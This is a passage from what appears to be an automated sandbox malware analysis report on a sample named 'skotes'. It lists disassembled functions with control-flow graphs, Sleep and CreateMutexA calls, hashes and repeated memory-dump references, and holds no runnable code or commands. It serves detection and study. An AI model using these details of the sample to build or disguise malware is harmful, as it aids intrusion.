                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 774c663e3e8f15828f1629131ae3e672f00f7dbc5ceb854a3a9fcb4eb5a30bfc
                                                                                                                                                                                                                                                                                    • Instruction ID: 27bbb5a1a38c7764f14fce2e0009d0c5120bd63743b2973ab0cac5f0f3c54b66
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 774c663e3e8f15828f1629131ae3e672f00f7dbc5ceb854a3a9fcb4eb5a30bfc
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6D316831B80100CBEB08ABB8DC89B6DB772EF81315F644318E824DF2D5D7B559C88712
                                                                                                                                                                                                                                                                                    Function 0015A54D Relevance: 3.1, APIs: 2, Instructions: 132sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 164 15a54d-15a56d 168 15a56f-15a57b 164->168 169 15a59b-15a5b7 164->169 172 15a591-15a598 call 16d663 168->172 173 15a57d-15a58b 168->173 170 15a5e5-15a604 169->170 171 15a5b9-15a5c5 169->171 176 15a606-15a612 170->176 177 15a632-15a916 call 1680c0 170->177 174 15a5c7-15a5d5 171->174 175 15a5db-15a5e2 call 16d663 171->175 172->169 173->172 178 15a944-15a994 call 186c6a * 3 Sleep CreateMutexA 173->178 174->175 174->178 175->170 183 15a614-15a622 176->183 184 15a628-15a62f call 16d663 176->184 198 15a9a7-15a9a8 178->198 199 15a996-15a998 178->199 183->178 183->184 184->177 199->198 200 15a99a-15a9a5 199->200 200->198
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e7899665887b909d30f5d18f5716b5115a15569739b48fe99b98fb7c7312a316
                                                                                                                                                                                                                                                                                    • Instruction ID: 041d4015be5c2751c4bc1b00b67f5d4825fb96090586a3b025c3ac488d607100
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e7899665887b909d30f5d18f5716b5115a15569739b48fe99b98fb7c7312a316
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 41316A31B80100CBEB08DB78DC99B6DB762EF81319F644318E824EF2D5D77599888712
                                                                                                                                                                                                                                                                                    Function 0015A682 Relevance: 3.1, APIs: 2, Instructions: 131sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 202 15a682-15a6a2 206 15a6a4-15a6b0 202->206 207 15a6d0-15a6ec 202->207 208 15a6c6-15a6cd call 16d663 206->208 209 15a6b2-15a6c0 206->209 210 15a6ee-15a6fa 207->210 211 15a71a-15a739 207->211 208->207 209->208 216 15a949-15a994 call 186c6a * 2 Sleep CreateMutexA 209->216 212 15a710-15a717 call 16d663 210->212 213 15a6fc-15a70a 210->213 214 15a767-15a916 call 1680c0 211->214 215 15a73b-15a747 211->215 212->211 213->212 213->216 219 15a75d-15a764 call 16d663 215->219 220 15a749-15a757 215->220 234 15a9a7-15a9a8 216->234 235 15a996-15a998 216->235 219->214 220->216 220->219 235->234 236 15a99a-15a9a5 235->236 236->234
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a03bea1f2466e3605d6ba25b77b7ae2d541dc39e796af8885ce1de1e6e22b812
                                                                                                                                                                                                                                                                                    • Instruction ID: 8eda62cb9b663ad4e0224e8e3a6d4974b52b7ca7997a2706f703b78c81ce36a3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a03bea1f2466e3605d6ba25b77b7ae2d541dc39e796af8885ce1de1e6e22b812
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FB314831B84200CBEB08DB78DC99B6DB772EF85315F648718E824EF2D5C77699888752
                                                                                                                                                                                                                                                                                    Function 00159ADC Relevance: 3.1, APIs: 2, Instructions: 107sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 238 159adc-159ae8 239 159afe-159b27 call 16d663 238->239 240 159aea-159af8 238->240 247 159b55-159b57 239->247 248 159b29-159b35 239->248 240->239 241 15a917 240->241 244 15a953-15a994 Sleep CreateMutexA 241->244 245 15a917 call 186c6a 241->245 254 15a9a7-15a9a8 244->254 255 15a996-15a998 244->255 245->244 252 159b65-159d91 call 167a00 call 155c10 call 158b30 call 168220 call 167a00 call 155c10 call 158b30 call 168220 247->252 253 159b59-15a916 call 1680c0 247->253 250 159b37-159b45 248->250 251 159b4b-159b52 call 16d663 248->251 250->241 250->251 251->247 255->254 259 15a99a-15a9a5 255->259 259->254
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
